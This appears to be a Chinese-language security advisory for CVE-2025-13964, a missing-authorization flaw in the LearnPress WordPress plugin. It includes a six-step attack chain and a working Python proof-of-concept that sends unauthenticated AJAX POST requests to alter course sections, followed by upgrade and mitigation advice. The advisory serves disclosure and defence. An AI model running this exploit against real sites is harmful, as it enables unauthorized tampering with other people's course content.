IPBUF安全漏洞报告
English
CVE-2025-13964 CVSS 5.3 中危

CVE-2025-13964 LearnPress WordPress LMS插件未授权修改数据漏洞

披露日期: 2026-01-06

漏洞信息

漏洞编号
CVE-2025-13964
漏洞类型
未授权访问/缺少权限检查
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
LearnPress WordPress LMS Plugin

相关标签

CVE-2025-13964WordPressLearnPressLMS未授权访问IDOR缺少权限检查AJAXWordPress插件漏洞内容篡改

漏洞概述

LearnPress是WordPress平台上一款流行的在线学习管理系统(LMS)插件,被广泛应用于创建和销售在线课程。该插件在4.3.2及之前版本中存在严重的安全漏洞:由于catch_lp_ajax函数缺少权限检查(capability check),未认证的匿名用户可以调用该AJAX接口执行敏感操作。攻击者无需任何凭证即可修改课程内容,包括添加、删除、更新或重新排序课程章节,以及修改章节中的课程项目。此漏洞影响所有使用该插件的WordPress网站,可能导致课程内容被恶意篡改,影响教学秩序甚至传播恶意内容。由于CVSS评分为5.3,属于中等严重程度,攻击复杂度低且无需认证,具有一定的实际威胁性。

技术细节

漏洞根源在于LearnPress插件的AJAX处理机制存在授权缺陷。在LearnPress 4.3.2及之前版本中,inc/Ajax/AbstractAjax.php中的catch_lp_ajax函数和inc/Ajax/EditCurriculumAjax.php中的相关函数未进行权限验证。正常情况下,WordPress插件应使用current_user_can()或类似函数检查用户权限,但该AJAX端点直接处理请求而未验证调用者身份。攻击者可以通过向wp-admin/admin-ajax.php发送请求,利用LearnPress注册的各种AJAX动作(如lp_edit_curriculum相关动作)来触发漏洞。由于这些动作未设置nonce验证或权限检查,任何匿名用户都能以POST方式提交特定参数,修改数据库中的课程数据。攻击者可通过修改course_id、section_id等参数实现对课程章节的增删改查操作。

攻击链分析

STEP 1
步骤1
识别目标网站使用的WordPress CMS和LearnPress插件版本
STEP 2
步骤2
访问/wp-admin/admin-ajax.php端点,发现LearnPress注册的AJAX动作
STEP 3
步骤3
构造恶意POST请求,绕过身份验证直接调用catch_lp_ajax函数
STEP 4
步骤4
通过IDOR方式指定目标course_id和section_id参数
STEP 5
步骤5
执行添加/删除/修改/重排序课程章节的操作,篡改课程内容
STEP 6
步骤6
完成课程数据修改,攻击成功,无需任何认证凭证

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13964 PoC - LearnPress Unauthorized Data Modification # Target: WordPress site with LearnPress plugin <= 4.3.2 def exploit_learnpress(target_url, action_type): """ Exploit LearnPress IDOR vulnerability action_type: 'add_section', 'remove_section', 'reorder', 'update_item' """ ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Common headers headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Action 1: Add new section (requires course_id) if action_type == 'add_section': data = { 'action': 'lp_ajax', # Or specific LearnPress AJAX action 'request': 'add_section', 'nonce': '', # No nonce required due to vulnerability 'course_id': '1', # Target course ID 'section_title': 'Malicious Section', 'section_order': '999' } # Action 2: Reorder sections elif action_type == 'reorder': data = { 'action': 'lp_ajax', 'request': 'reorder_section', 'course_id': '1', 'sections': '[{"id":1,"order":1},{"id":2,"order":0}]' } # Action 3: Update section items elif action_type == 'update_item': data = { 'action': 'lp_ajax', 'request': 'update_item', 'section_id': '1', 'item_type': 'lp_lesson', 'item_id': '1', 'item_data': '{"title":"Modified Content"}' } else: print("Unknown action type") return None try: response = requests.post(ajax_url, data=data, headers=headers, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" if __name__ == '__main__': if len(sys.argv) < 3: print("Usage: python poc.py <target_url> <action_type>") print("Example: python poc.py http://example.com add_section") sys.exit(1) target = sys.argv[1] action = sys.argv[2] result = exploit_learnpress(target, action) print(f"Response: {result}")

影响范围

LearnPress WordPress LMS Plugin < 4.3.3
LearnPress <= 4.3.2 (所有版本)

防御指南

临时缓解措施
立即将LearnPress插件升级到4.3.3或最新版本。在等待升级期间,可以暂时禁用课程的编辑功能,或使用Web应用防火墙(WAF)规则限制对/admin-ajax.php的恶意请求。建议管理员检查近期课程修改日志,确认是否遭受过未授权访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表